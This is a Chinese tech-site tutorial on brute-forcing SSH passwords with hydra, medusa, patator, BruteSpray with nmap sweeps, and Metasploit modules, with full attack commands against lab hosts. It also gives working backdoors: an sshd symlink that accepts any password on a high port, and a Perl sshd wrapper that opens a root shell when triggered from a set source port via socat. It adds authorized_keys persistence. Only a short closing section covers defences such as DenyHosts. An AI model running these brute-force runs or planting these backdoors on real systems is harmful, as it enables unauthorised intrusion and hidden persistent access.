0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

對目前流行的ssh密碼暴力破解工具進(jìn)行實(shí)戰(zhàn)研究、分析和總結(jié)

馬哥Linux運(yùn)維 ? 2018-01-29 15:10 ? 次閱讀

對于Linux操作系統(tǒng)來說,一般通過VNC、Teamviewer和SSH等工具來進(jìn)行遠(yuǎn)程管理,SSH是 Secure Shell的縮寫,由IETF的網(wǎng)絡(luò)小組(Network Working Group)所制定;SSH 為建立在應(yīng)用層基礎(chǔ)上的安全協(xié)議。SSH 是目前較可靠,專為遠(yuǎn)程登錄會話和其他網(wǎng)絡(luò)服務(wù)提供安全性的協(xié)議。

利用SSH協(xié)議可以有效防止遠(yuǎn)程管理過程中的信息泄露問題。SSH客戶端適用于多種平臺,幾乎所有UNIX平臺—包括HP-UX、Linux、AIX、Solaris、Digital UNIX、Irix,以及其他平臺都可運(yùn)行SSH。Kali Linux滲透測試平臺默認(rèn)配置SSH服務(wù)。SSH進(jìn)行服務(wù)器遠(yuǎn)程管理,僅僅需要知道服務(wù)器的IP地址、端口、管理賬號和密碼,即可進(jìn)行服務(wù)器的管理,網(wǎng)絡(luò)安全遵循木桶原理,只要通過SSH撕開一個口子,對滲透人員來時這將是一個新的世界。

本文對目前流行的ssh密碼暴力破解工具進(jìn)行實(shí)戰(zhàn)研究、分析和總結(jié),對滲透攻擊測試和安全防御具有一定的參考價值。

一、SSH密碼暴力破解應(yīng)用場景和思路

1.應(yīng)用場景

(1)通過Structs等遠(yuǎn)程命令執(zhí)行獲取了root權(quán)限。

(2)通過webshell提權(quán)獲取了root權(quán)限

(3)通過本地文件包含漏洞,可以讀取linux本地所有文件。

(4)獲取了網(wǎng)絡(luò)入口權(quán)限,可以對內(nèi)網(wǎng)計算機(jī)進(jìn)行訪問。

(5)外網(wǎng)開啟了SSH端口(默認(rèn)或者修改了端口),可以進(jìn)行SSH訪問。

在前面的這些場景中,可以獲取shadow文件,對其進(jìn)行暴力破解,以獲取這些賬號的密碼,但在另外的一些場景中,無任何漏洞可用,這個時候就需要對SSH賬號進(jìn)行暴力破解。

2.思路

(1)對root賬號進(jìn)行暴力破解

(2)使用中國姓名top1000作為用戶名進(jìn)行暴力破解

(3)使用top 10000 password字典進(jìn)行密碼破解

(4)利用掌握信息進(jìn)行社工信息整理并生成字典暴力破解

(5)信息的綜合利用以及循環(huán)利用

二、使用hydra暴力破解SSH密碼

hydra是世界頂級密碼暴力密碼破解工具,支持幾乎所有協(xié)議的在線密碼破解,功能強(qiáng)大,其密碼能否被破解關(guān)鍵取決于破解字典是否足夠強(qiáng)大。在網(wǎng)絡(luò)安全滲透過程中是一款必備的測試工具,配合社工庫進(jìn)行社會工程學(xué)攻擊,有時會獲得意想不到的效果。

1.簡介

hydra是著名黑客組織thc的一款開源的暴力密碼破解工具,可以在線破解多種密碼,目前已經(jīng)被Backtrack和kali等滲透平臺收錄,除了命令行下的hydra外,還提供了hydragtk版本(有圖形界面的hydra),官網(wǎng)網(wǎng)站:http://www.thc.org/thc-hydra,目前最新版本為7.6下載地址:http://www.thc.org/releases/hydra-7.6.tar.gz,它可支持AFP,Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, uHTTP-FORM-GET,HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET,HTTPS-FORM-POST,HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP,NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES,RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH(v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等類型密碼。

2.安裝

(1)Debian和Ubuntu安裝

如果是Debian和Ubuntu發(fā)行版,源里自帶hydra,直接用apt-get在線安裝:

sudo apt-get install libssl-dev libssh-devlibidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-devfirebird2.1-dev libncp-dev hydra

Redhat/Fedora發(fā)行版的下載源碼包編譯安裝,先安裝相關(guān)依賴包:

yum install openssl-devel pcre-develncpfs-devel postgresql-devel libssh-devel subversion-devel

(2)centos安裝

# tar zxvf hydra-7.6-src.tar.gz

# cd hydra-6.0-src

# ./configure

# make

# make install

3.使用hydra

BT5和kali都默認(rèn)安裝了hydra,在kali中單擊“kali Linux”-“Password Attacks”-“Online Attacks”-“hydra”即可打開hydra。在centos終端中輸入命令/usr/local/bin/hydra即可打開該暴力破解工具,除此之外還可以通過hydra-wizard.sh命令進(jìn)行向?qū)皆O(shè)置進(jìn)行密碼破解。

如果不安裝libssh,運(yùn)行hydra破解賬號時會出現(xiàn)錯誤,如圖2所示,顯示錯誤提示信息:[ERROR]Compiled without LIBSSH v0.4.x support, module is not available! 在centos下依次運(yùn)行以下命令即可解決:

yum install cmake

wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz

tar zxf libssh-0.4.8.tar.gz

cd libssh-0.4.8

mkdir build

cd build

cmake -DCMAKE_INSTALL_PREFIX=/usr-DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..

make

make install

cd /test/ssh/hydra-7.6 (此為下載hydar解壓的目錄)

make clean

./configure

make

make install

對目前流行的ssh密碼暴力破解工具進(jìn)行實(shí)戰(zhàn)研究、分析和總結(jié)

圖2 出現(xiàn)libssh模塊缺少錯誤

4、hydra參數(shù)詳細(xì)說明

hydra [[[-l LOGIN|-L FILE] [-p PASS|-PFILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-wTIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46][service://server[:PORT][/OPT]]

-l LOGIN 指定破解的用戶名稱,對特定用戶破解。

-L FILE 從文件中加載用戶名進(jìn)行破解。

-p PASS小寫p指定密碼破解,少用,一般是采用密碼字典。

-P FILE 大寫字母P,指定密碼字典。

-e ns 可選選項(xiàng),n:空密碼試探,s:使用指定用戶和密碼試探。

-C FILE 使用冒號分割格式,例如“登錄名:密碼”來代替-L/-P參數(shù)。

-t TASKS 同時運(yùn)行的連接的線程數(shù),每一臺主機(jī)默認(rèn)為16。

-M FILE 指定服務(wù)器目標(biāo)列表文件一行一條

-w TIME 設(shè)置最大超時的時間,單位秒,默認(rèn)是30s。

-o FILE 指定結(jié)果輸出文件。

-f 在使用-M參數(shù)以后,找到第一對登錄名或者密碼的時候中止破解。

-v / -V 顯示詳細(xì)過程。

-R 繼續(xù)從上一次進(jìn)度接著破解。

-S 采用SSL鏈接。

-s PORT 可通過這個參數(shù)指定非默認(rèn)端口。

-U服務(wù)模塊使用細(xì)節(jié)

-h更多的命令行選項(xiàng)(完整的幫助)

server目標(biāo)服務(wù)器名稱或者IP(使用這個或-M選項(xiàng))

service指定服務(wù)名,支持的服務(wù)和協(xié)議:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get}http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysqloracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icqsapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等

OPT一些服務(wù)模塊支持額外的輸入(-U用于模塊的幫助)

4.破解SSH賬號

破解SSH賬號有兩種方式,一種是指定賬號破解,一種是指定用戶列表破解。詳細(xì)命令如下:

(1)hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns ip ssh

例如輸入命令“hydra -l root -P pwd2.dic -t 1 -vV -e ns 192.168.44.139 ssh”對IP地址為“192.168.44.139”的root賬號密碼進(jìn)行破解,如圖3所示,破解成功后顯示其詳細(xì)信息。

“hydra -l root -P pwd2.dic -t 1 -vV -e ns -o save.log 192.168.44.139 ssh ”將掃描結(jié)果保存在save.log文件中,打開該文件可以看到成功破解的結(jié)果,如圖4所示。

對目前流行的ssh密碼暴力破解工具進(jìn)行實(shí)戰(zhàn)研究、分析和總結(jié)

圖3破解SSH賬號

對目前流行的ssh密碼暴力破解工具進(jìn)行實(shí)戰(zhàn)研究、分析和總結(jié)

圖4查看破解日志

三、使用Medusa暴力破解SSH密碼

1. Medusa簡介

Medusa(美杜莎)是一個速度快,支持大規(guī)模并行,模塊化,爆破登錄??梢酝瑫r對多個主機(jī),用戶或密碼執(zhí)行強(qiáng)力測試。Medusa和hydra一樣,同樣屬于在線密碼破解工具。不同的是,medusa 的穩(wěn)定性相較于hydra 要好很多,但其支持模塊要比 hydra 少一些。 Medusa是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare),

NNTP,PcAnywhere, POP3, PostgreSQL, rexec, RDP、rlogin, rsh, SMBNT,SMTP

(AUTH/VRFY),SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC、Generic Wrapper以及Web表單的密碼爆破工具,官方網(wǎng)站:http://foofus.net/goons/jmk/medusa/medusa.html。目前最新版本2.2,美中不足的是軟件從2015年后未進(jìn)行更新,kali默認(rèn)自帶該軟件,軟件下載地址:

https://github.com/jmk-foofus/medusa

https://github.com/jmk-foofus/medusa/archive/2.2.tar.gz

2.安裝medusa

(1)git克隆安裝

git clonehttps://github.com/jmk-foofus/medusa.git

(2)手動編譯和安裝medusa

./configure

make

make install

安裝完成后,會將medusa的一些modules 文件復(fù)制到/usr/local/lib/medusa/modules文件夾。

3.Medusa參數(shù)

Medusa [-hhost|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module[OPT]

-h [TEXT] 目標(biāo)主機(jī)名稱或者IP地址

-H [FILE] 包含目標(biāo)主機(jī)名稱或者IP地址文件

-u [TEXT] 測試的用戶名

-U [FILE] 包含測試的用戶名文件

-p [TEXT] 測試的密碼

-P [FILE] 包含測試的密碼文件

-C [FILE] 組合條目文件

-O [FILE] 日志信息文件

-e [n/s/ns] n代表空密碼,s代表為密碼與用戶名相同

-M [TEXT] 模塊執(zhí)行名稱

-m [TEXT] 傳遞參數(shù)到模塊

-d 顯示所有的模塊名稱

-n [NUM] 使用非默認(rèn)Tcp端口

-s 啟用SSL

-r [NUM] 重試間隔時間,默認(rèn)為3秒

-t [NUM] 設(shè)定線程數(shù)量

-T 同時測試的主機(jī)總數(shù)

-L 并行化,每個用戶使用一個線程

-f 在任何主機(jī)上找到第一個賬號/密碼后,停止破解

-F 在任何主機(jī)上找到第一個有效的用戶名/密碼后停止審計。

-q 顯示模塊的使用信息

-v [NUM] 詳細(xì)級別(0-6)

-w [NUM] 錯誤調(diào)試級別(0-10)

-V 顯示版本

-Z [TEXT] 繼續(xù)掃描上一次

4.破解單一服務(wù)器SSH密碼

(1)通過文件來指定host和user,host.txt為目標(biāo)主機(jī)名稱或者IP地址,user.txt指定需要暴力破解的用戶名,密碼指定為password

./medusa -M ssh -H host.txt -U users.txt -p password

(2)對單一服務(wù)器進(jìn)行密碼字典暴力破解

如圖5所示,破解成功后會顯示success字樣,具體命令如下:

medusa -M ssh -h 192.168.157.131 -u root -Pnewpass.txt

對目前流行的ssh密碼暴力破解工具進(jìn)行實(shí)戰(zhàn)研究、分析和總結(jié)

圖5破解SSH口令成功

如果使用Cltrl+Z結(jié)束了破解過程,則還可以根據(jù)屏幕提示,在后面繼續(xù)恢復(fù)破解,在上例中恢復(fù)破解,只需要在命令末尾增加“-Z h1u1.”即可。也即其命令為:

medusa -M ssh -h192.168.157.131 -u root -P newpass.txt -Z h1u1.

5.破解某個IP地址主機(jī)破解成功后立刻停止,并測試空密碼以及與用戶名一樣的密碼

medusa -M ssh -h 192.168.157.131 -u root-P /root/newpass.txt -e ns -F

執(zhí)行效果如圖6所示,通過命令查看字典文件newpass.txt,可以看到root密碼位于第8行,而在破解結(jié)果中顯示第一行就破解成功了,說明先執(zhí)行了“-e ns”參數(shù)命令,對空密碼和使用用戶名作為密碼來進(jìn)行破解。

對目前流行的ssh密碼暴力破解工具進(jìn)行實(shí)戰(zhàn)研究、分析和總結(jié)

圖6使用空密碼和用戶名作為密碼進(jìn)行破解

技巧:加-O ssh.log 可以將成功破解的記錄記錄到ssh.log文件中。

四、使用patator暴力破解SSH密碼

1.下載并安裝patator

git clone https://github.com/lanjelot/patator.git

cd patator

python setup.py install

2.使用參數(shù)

執(zhí)行./patator.py即可獲取詳細(xì)的幫助信息

Patator v0.7(https://github.com/lanjelot/patator)

Usage: patator.py module –help

可用模塊:

+ ftp_login : 暴力破解FTP

+ssh_login : 暴力破解 SSH

+telnet_login : 暴力破解 Telnet

+smtp_login : 暴力破解 SMTP

+smtp_vrfy : 使用SMTP VRFY進(jìn)行枚舉

+smtp_rcpt : 使用 SMTP RCPTTO枚舉合法用戶

+finger_lookup : 使用Finger枚舉合法用戶

+http_fuzz : 暴力破解 HTTP

+ajp_fuzz : 暴力破解 AJP

+pop_login : 暴力破解 POP3

+pop_passd : 暴力破解 poppassd(http://netwinsite.com/poppassd/)

+imap_login : 暴力破解 IMAP4

+ldap_login : 暴力破解 LDAP

+smb_login : 暴力破解 SMB

+smb_lookupsid : 暴力破解 SMB SID-lookup

+rlogin_login : 暴力破解 rlogin

+vmauthd_login : 暴力破解 VMware Authentication Daemon

+mssql_login : 暴力破解 MSSQL

+oracle_login : 暴力破解 Oracle

+mysql_login : 暴力破解 MySQL

+mysql_query : 暴力破解 MySQLqueries

+rdp_login : 暴力破解 RDP(NLA)

+pgsql_login : 暴力破解PostgreSQL

+vnc_login : 暴力破解 VNC

+dns_forward : 正向DNS 查詢

+dns_reverse : 反向 DNS 查詢

+snmp_login : 暴力破解 SNMPv1/2/3

+ike_enum : 枚舉 IKE 傳輸

+unzip_pass : 暴力破解 ZIP加密文件

+keystore_pass : 暴力破解Java keystore files的密碼

+sqlcipher_pass : 暴力破解加密數(shù)據(jù)庫SQL Cipher的密碼-

+umbraco_crack : Crack Umbraco HMAC-SHA1 password hashes

+tcp_fuzz : Fuzz TCP services

+dummy_test : 測試模塊

3.實(shí)戰(zhàn)破解

(1)查看詳細(xì)幫助信息

執(zhí)行“./patator.pyssh_login –help“命令后即可獲取其參數(shù)的詳細(xì)使用信息,如圖7所示,在ssh暴力破解模塊ssh_login中需要設(shè)置host,port,user,password等參數(shù)。

對目前流行的ssh密碼暴力破解工具進(jìn)行實(shí)戰(zhàn)研究、分析和總結(jié)

圖7查看幫助信息

(2)執(zhí)行單一用戶密碼破解

對主機(jī)192.168.157.131,用戶root,密碼文件為/root/newpass.txt進(jìn)行破解,如圖8所示,破解成功后會顯示SSH登錄標(biāo)識“SSH-2.0-OpenSSH_7.5p1Debian-10“,破解不成功會顯示” Authentication failed. “提示信息,其破解時間為2秒,速度很快!

./patator.py ssh_login host=192.168.157.131user=root password=FILE0 0=/root/newpass.txt

對目前流行的ssh密碼暴力破解工具進(jìn)行實(shí)戰(zhàn)研究、分析和總結(jié)

圖8破解單一用戶密碼

(3)破解多個用戶。用戶文件為/root/user.txt,密碼文件為/root/newpass.txt,破解效果如圖9所示。

./patator.py ssh_login host=192.168.157.131user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt

對目前流行的ssh密碼暴力破解工具進(jìn)行實(shí)戰(zhàn)研究、分析和總結(jié)

圖9使用patator破解多用戶的密碼

五、使用BrutesPray暴力破解SSH密碼

BruteSpray是一款基于nmap掃描輸出的gnmap/XML文件,自動調(diào)用Medusa對服務(wù)進(jìn)行爆破(Medusa美杜莎是一款端口爆破工具,在前面的文章中對其進(jìn)行了介紹),聲稱速度比hydra快,其官方項(xiàng)目地址:https://github.com/x90skysn3k/brutespray。BruteSpray調(diào)用medusa,其說明中聲稱支持ssh、ftp、telnet、vnc、mssql、mysql、postgresql、rsh、imap、nntp、pcanywhere、pop3、rexec、rlogin、smbnt、smtp、svn和vmauthd協(xié)議賬號暴力破解。

1.安裝及下載

(1)普通下載地址

https://codeload.github.com/x90skysn3k/brutespray/zip/master

(2)kali下安裝

BruteSpray默認(rèn)沒有集成到kali Linux中,需要手動安裝,有的需要先在kali中執(zhí)行更新,apt-get update 后才能執(zhí)行安裝命令:

apt-getinstall brutespray

kali Linux默認(rèn)安裝其用戶和密碼字典文件位置:/usr/share/brutespray/wordlist。

(3)手動安裝

git clonehttps://github.com/x90skysn3k/brutespray.git

cdbrutespray

pipinstall -r requirements.txt

注意如果在其它環(huán)境安裝需要安裝medusa,否則會執(zhí)行報錯。

2.BrutesPray使用參數(shù)

用法: brutespray.py [-h] -f FILE [-o OUTPUT] [-sSERVICE] [-t THREADS] [-T HOSTS] [-U USERLIST] [-P PASSLIST] [-u USERNAME] [-pPASSWORD] [-c] [-i]

用法: python brutespray.py <選項(xiàng)>

選項(xiàng)參數(shù):

-h, –help顯示幫助信息并退出

菜單選項(xiàng):

-f FILE, –file FILE 參數(shù)后跟一個文件名, 解析nmap輸出的GNMAP或者XML文件

-o OUTPUT, –output OUTPUT 包含成功嘗試的目錄

-s SERVICE, –service SERVICE 參數(shù)后跟一個服務(wù)名, 指定要攻擊的服務(wù)

-t THREADS, –threads THREADS 參數(shù)后跟一數(shù)值,指定medusa線程數(shù)

-T HOSTS, –hosts HOSTS 參數(shù)后跟一數(shù)值,指定同時測試的主機(jī)數(shù)

-U USERLIST, –userlist USERLIST 參數(shù)后跟用戶字典文件

-P PASSLIST, –passlist PASSLIST 參數(shù)后跟密碼字典文件

-u USERNAME, –username USERNAME 參數(shù)后跟用戶名,指定一個用戶名進(jìn)行爆破

-p PASSWORD, –password PASSWORD 參數(shù)后跟密碼,指定一個密碼進(jìn)行爆破

-c, –continuous 成功之后繼續(xù)爆破

-i, –interactive 交互模式

3.使用nmap進(jìn)行端口掃描

(1)掃描整個內(nèi)網(wǎng)C段

nmap -v192.168.17.0/24 -oX nmap.xml

(2)掃描開放22端口的主機(jī)

nmap -A-p 22 -v 192.168.17.0/24 -oX 22.xml

(3)掃描存活主機(jī)

nmap –sP 192.168.17.0/24-oX nmaplive.xml

(4)掃描應(yīng)用程序以及版本號

nmap -sV –O 192.168.17.0/24 -oX nmap.xml

4.暴力破解SSH密碼

(1)交互模式破解

python brutespray.py --file nmap.xml –i

執(zhí)行后,程序會自動識別nmap掃描結(jié)果中的服務(wù),根據(jù)提示選擇需要破解的服務(wù),線程數(shù)、同時暴力破解的主機(jī)數(shù),指定用戶和密碼文件,如圖 10所示。Brutespray破解成功后在屏幕上會顯示“SUCCESS ”信息。

對目前流行的ssh密碼暴力破解工具進(jìn)行實(shí)戰(zhàn)研究、分析和總結(jié)

圖10交互模式破解密碼

(2)通過指定字典文件爆破SSH

pythonbrutespray.py --file 22.xml -U /usr/share/brutespray/wordlist/ssh/user -P/usr/share/brutespray/wordlist/ssh/password --threads 5 --hosts 5

注意:

brutespray新版本的wordlist地址為/usr/share/brutespray/wordlist,其下包含了多個協(xié)議的用戶名和密碼,可以到該目錄完善這些用戶文件和密碼文件。22.xml為nmap掃描22端口生成的文件。

(3)暴力破解指定的服務(wù)

pythonbrutespray.py --file nmap.xml --service ftp,ssh,telnet --threads 5 --hosts 5

(4)指定用戶名和密碼進(jìn)行暴力破解

當(dāng)在內(nèi)網(wǎng)已經(jīng)獲取了一個密碼后,可以用來驗(yàn)證nmap掃描中的開放22端口的服務(wù)器,如圖11所示,對192.168.17.144和192.168.17.147進(jìn)行root密碼暴力破解,192.168.17.144密碼成功破解。

pythonbrutespray.py --file 22.xml -u root -p toor --threads 5 --hosts 5

./brutespray.py -f 22.xml -u root -p toor--threads 5 --hosts 5

對目前流行的ssh密碼暴力破解工具進(jìn)行實(shí)戰(zhàn)研究、分析和總結(jié)

圖11 對已知口令進(jìn)行密碼破解

(5)破解成功后繼續(xù)暴力破解

python brutespray.py --file nmap.xml--threads 5 --hosts 5 –c

前面的命令是默認(rèn)破解成功一個帳號后,就不再繼續(xù)暴力破解了,此命令是對所有賬號進(jìn)行暴力破解,其時間稍長。

(6)使用Nmap掃描生成的nmap.xml進(jìn)行暴力破解

pythonbrutespray.py --file nmap.xml --threads 5 --hosts 5

5.查看破解結(jié)果

Brutespray這一點(diǎn)做的非常好,默認(rèn)會在程序目錄/brutespray-output/目錄下生成ssh-success.txt文件,使用cat ssh-success.txt命令即可查看破解成功的結(jié)果,如圖12所示。

對目前流行的ssh密碼暴力破解工具進(jìn)行實(shí)戰(zhàn)研究、分析和總結(jié)

圖12查看破解成功的記錄文件

也可以通過命令搜索ssh-success 文件的具體位置:find / -name ssh-success.txt

6.登錄破解服務(wù)器

使用ssh user@host命令登錄host服務(wù)器。例如登錄192.168.17.144:

ssh root@192.168.17.144

輸入密碼即可正常登錄服務(wù)器192.168.17.144。

六、Msf下利用ssh_login模塊進(jìn)行暴力破解

1.msf下有關(guān)SSH相關(guān)模塊

在kali中執(zhí)行“msfconsole”-“search ssh”后會獲取相關(guān)所有ssh模塊,如圖13所示。

對目前流行的ssh密碼暴力破解工具進(jìn)行實(shí)戰(zhàn)研究、分析和總結(jié)

圖13 msf下所有SSH漏洞以及相關(guān)利用模塊

2.SSH相關(guān)功能模塊分析

(1)SSH用戶枚舉

此模塊使用基于時間的攻擊枚舉用戶OpenSSH服務(wù)器。在一些OpenSSH的一些版本

配置,OpenSSH會返回一個“沒有權(quán)限”無效用戶的錯誤比有效用戶快。使用命令如下:

use auxiliary/scanner/ssh/ssh_enumusers

set rhost 191.168.17.147

set USER_FILE /root/user

run

使用info命令可以查看該模塊的所有信息,執(zhí)行效果如圖14所示,實(shí)測該功能有一些限制,僅僅對OpenSSH某些版本效果比較好。

對目前流行的ssh密碼暴力破解工具進(jìn)行實(shí)戰(zhàn)研究、分析和總結(jié)

圖14 openssh用戶枚舉

(2)SSH版本掃描

查看遠(yuǎn)程主機(jī)的SSH服務(wù)器版本信息,命令如下:

use auxiliary/scanner/ssh/ssh_version

set rhosts 192.168.157.147

run

執(zhí)行效果如圖15所示,分別對centos服務(wù)器地址192.168.157.147和kali linux 地址192.168.157.144進(jìn)行掃描,可以看出一個是SSH-2.0-OpenSSH_5.8p1Debian-1ubuntu3,另外一個是SSH-2.0-OpenSSH_7.5p1 Debian-10,看到第一個版本,第一時間就可以想到如果拿到權(quán)限可以安裝ssh后門。

對目前流行的ssh密碼暴力破解工具進(jìn)行實(shí)戰(zhàn)研究、分析和總結(jié)

圖15掃描ssh版本信息

(3)SSH暴力破解

ssh暴力破解模塊“auxiliary/scanner/ssh/ssh_login”可以對單機(jī)進(jìn)行單用戶,單密碼進(jìn)行掃描破解,也可以使用密碼字典和用戶字典進(jìn)行破解,按照提示進(jìn)行設(shè)置即可。下面使用用戶名字典以及密碼字典進(jìn)行暴力破解:

use auxiliary/scanner/ssh/ssh_login

setrhosts 192.168.17.147

setPASS_FILE /root/pass.txt

setUSER_FILE /root/user.txt

run

如圖16所示,對IP地址192.168.17.147進(jìn)行暴力破解,成功獲取root賬號密碼,網(wǎng)上有人寫文章說可以直接獲取shell,實(shí)際測試并否如此,通過sessions -l可以看到msf確實(shí)建立會話,但切換(sessions -i 1)到會話一直沒有反應(yīng)。

對目前流行的ssh密碼暴力破解工具進(jìn)行實(shí)戰(zhàn)研究、分析和總結(jié)

圖16使用msf暴力破解ssh密碼

七、ssh后門

1. 軟連接后門

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su-oPort=33223;

經(jīng)典后門使用ssh root@x.x.x.x -p 33223直接對sshd建立軟連接,之后用任意密碼登錄即可。

但這隱蔽性很弱,一般的rookit hunter這類的防護(hù)腳本可掃描到。

2.SSH Server wrapper后門

(1)復(fù)制sshd到bin目錄

cd /usr/sbin

mv sshd ../bin

(2)編輯sshd

vi sshd //加入以下內(nèi)容并保存

#!/usr/bin/perl

exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);

exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

(4)修改權(quán)限

chmod 755 sshd

(5)使用socat

socat STDIOTCP4:target_ip:22,sourceport=19526

如果沒有安裝socat需要進(jìn)行安裝并編譯

wget http://www.dest-unreach.org/socat/download/socat-1.7.3.2.tar.gz

tar -zxvf socat-1.7.3.2.tar.gz

cd socat-1.7.3.2

./configure

make

make install

(6)使用ssh root@ target_ip即可免密碼登錄

3.ssh公鑰免密

將本地計算機(jī)生成公私鑰,將公鑰文件復(fù)制到需要連接的服務(wù)器上的~/.ssh/authorized_keys文件,并設(shè)置相應(yīng)的權(quán)限,即可免密碼登錄服務(wù)器。

chmod 600 ~/.ssh/authorized_keys

chmod 700 ~/.ssh

八、ssh暴力破解命令總結(jié)及分析

1.所有工具的比較

通過對hydra、medusa、patator、brutepray以及msf下的ssh暴力破解測試,總結(jié)如下:

(1)每款軟件都能成功對ssh賬號以及密碼進(jìn)行破解。

(2)patator和brutepray是通過python語言編寫,但brutepray需要medusa配合支持。

(3)hydra和medusa是基于C語言編寫的,需要進(jìn)行編譯。

(4)brutepray基于nmap掃描結(jié)果來進(jìn)行暴力破解,在對內(nèi)網(wǎng)掃描后進(jìn)行暴力破解效果好。

(5)patator基于python,速度快,兼容性好,可以在windows或者linux下稍作配置即可使用。

(6)如果具備kali條件或者PentestBox下,使用msf進(jìn)行ssh暴力破解也不錯。

(7)brutepray會自動生成破解成功日志文件/brutespray-output/ssh-success.txt;hydra加參數(shù)“-o save.log”記錄破解成功到日志文件save.log,medusa加“-O ssh.log”參數(shù)可以將成功破解的記錄記錄到ssh.log文件中;patator可以加參數(shù)“-x ignore:mesg=’Authentication failed.’”來忽略破解失敗的嘗試,而僅僅顯示成功的破解。

2.命令總結(jié)

(1)hydra破解ssh密碼

hydra -lroot -P pwd2.dic -t 1 -vV -e ns 192.168.44.139ssh

hydra -lroot -P pwd2.dic -t 1 -vV -e ns -o save.log 192.168.44.139 ssh

(2)medusa破解ssh密碼

medusa -M ssh -h 192.168.157.131 -u root -Pnewpass.txt

medusa -M ssh -h192.168.157.131 -u root -P /root/newpass.txt -e ns –F

(3)patator破解ssh密碼

./patator.py ssh_login host=192.168.157.131user=root password=FILE0 0=/root/newpass.txt -x ignore:mesg='Authenticationfailed.'

./patator.py ssh_login host=192.168.157.131user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt -x ignore:mesg='Authenticationfailed.'

如果不是本地安裝,則使用patator執(zhí)行即可。

(4)brutespray暴力破解ssh密碼

nmap -A-p 22 -v 192.168.17.0/24 -oX 22.xml

pythonbrutespray.py --file 22.xml -u root -p toor --threads 5 --hosts 5

(5)msf暴力破解ssh密碼

use auxiliary/scanner/ssh/ssh_login

set rhosts192.168.17.147

setPASS_FILE /root/pass.txt

setUSER_FILE /root/user.txt

run

九、 SSH暴力破解安全防范

1.修改/etc/ssh/sshd_config默認(rèn)端口為其它端口。例如設(shè)置端口為2232,則port=2232

2.在/etc/hosts.allow中設(shè)置允許的IP訪問,例如sshd:192.168.17.144:allow

3.使用DenyHosts軟件來設(shè)置,其下載地址:

https://sourceforge.net/projects/denyhosts/files/denyhosts/2.6/DenyHosts-2.6.tar.gz/download

(1)安裝cdDenyHosts

# tar-zxvf DenyHosts-2.6.tar.gz

# cdDenyHosts-2.6

# pythonsetup.py install

默認(rèn)是安裝到/usr/share/denyhosts目錄的。

(2)配置cdDenyHosts

# cd/usr/share/denyhosts/

# cpdenyhosts.cfg-dist denyhosts.cfg

# videnyhosts.cfg

PURGE_DENY= 50m #過多久后清除已阻止IP

HOSTS_DENY= /etc/hosts.deny #將阻止IP寫入到hosts.deny

BLOCK_SERVICE= sshd #阻止服務(wù)名

DENY_THRESHOLD_INVALID= 1 #允許無效用戶登錄失敗的次數(shù)

DENY_THRESHOLD_VALID= 10 #允許普通用戶登錄失敗的次數(shù)

DENY_THRESHOLD_ROOT= 5 #允許root登錄失敗的次數(shù)

WORK_DIR= /usr/local/share/denyhosts/data #將deny的host或ip紀(jì)錄到Work_dir中

DENY_THRESHOLD_RESTRICTED= 1 #設(shè)定 deny host 寫入到該資料

LOCK_FILE= /var/lock/subsys/denyhosts #將DenyHOts啟動的pid紀(jì)錄到LOCK_FILE中,已確保服務(wù)正確啟動,防止同時啟動多個服務(wù)。

HOSTNAME_LOOKUP=NO#是否做域名反解

ADMIN_EMAIL= #設(shè)置管理員郵件地址

DAEMON_LOG= /var/log/denyhosts #自己的日志文件

DAEMON_PURGE= 10m #該項(xiàng)與PURGE_DENY 設(shè)置成一樣,也是清除hosts.deniedssh 用戶的時間。

(3)設(shè)置啟動腳本

# cpdaemon-control-dist daemon-control

# chownroot daemon-control

# chmod700 daemon-control

完了之后執(zhí)行daemon-contronstart就可以了。

#./daemon-control start

如果要使DenyHosts每次重起后自動啟動還需做如下設(shè)置:

# ln -s/usr/share/denyhosts/daemon-control /etc/init.d/denyhosts

#chkconfig --add denyhosts

#chkconfig denyhosts on

#service denyhosts start

可以看看/etc/hosts.deny內(nèi)是否有禁止的IP,有的話說明已經(jīng)成功了。

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報投訴
  • Linux
    +關(guān)注

    關(guān)注

    87

    文章

    11123

    瀏覽量

    207891
  • SSH
    SSH
    +關(guān)注

    關(guān)注

    0

    文章

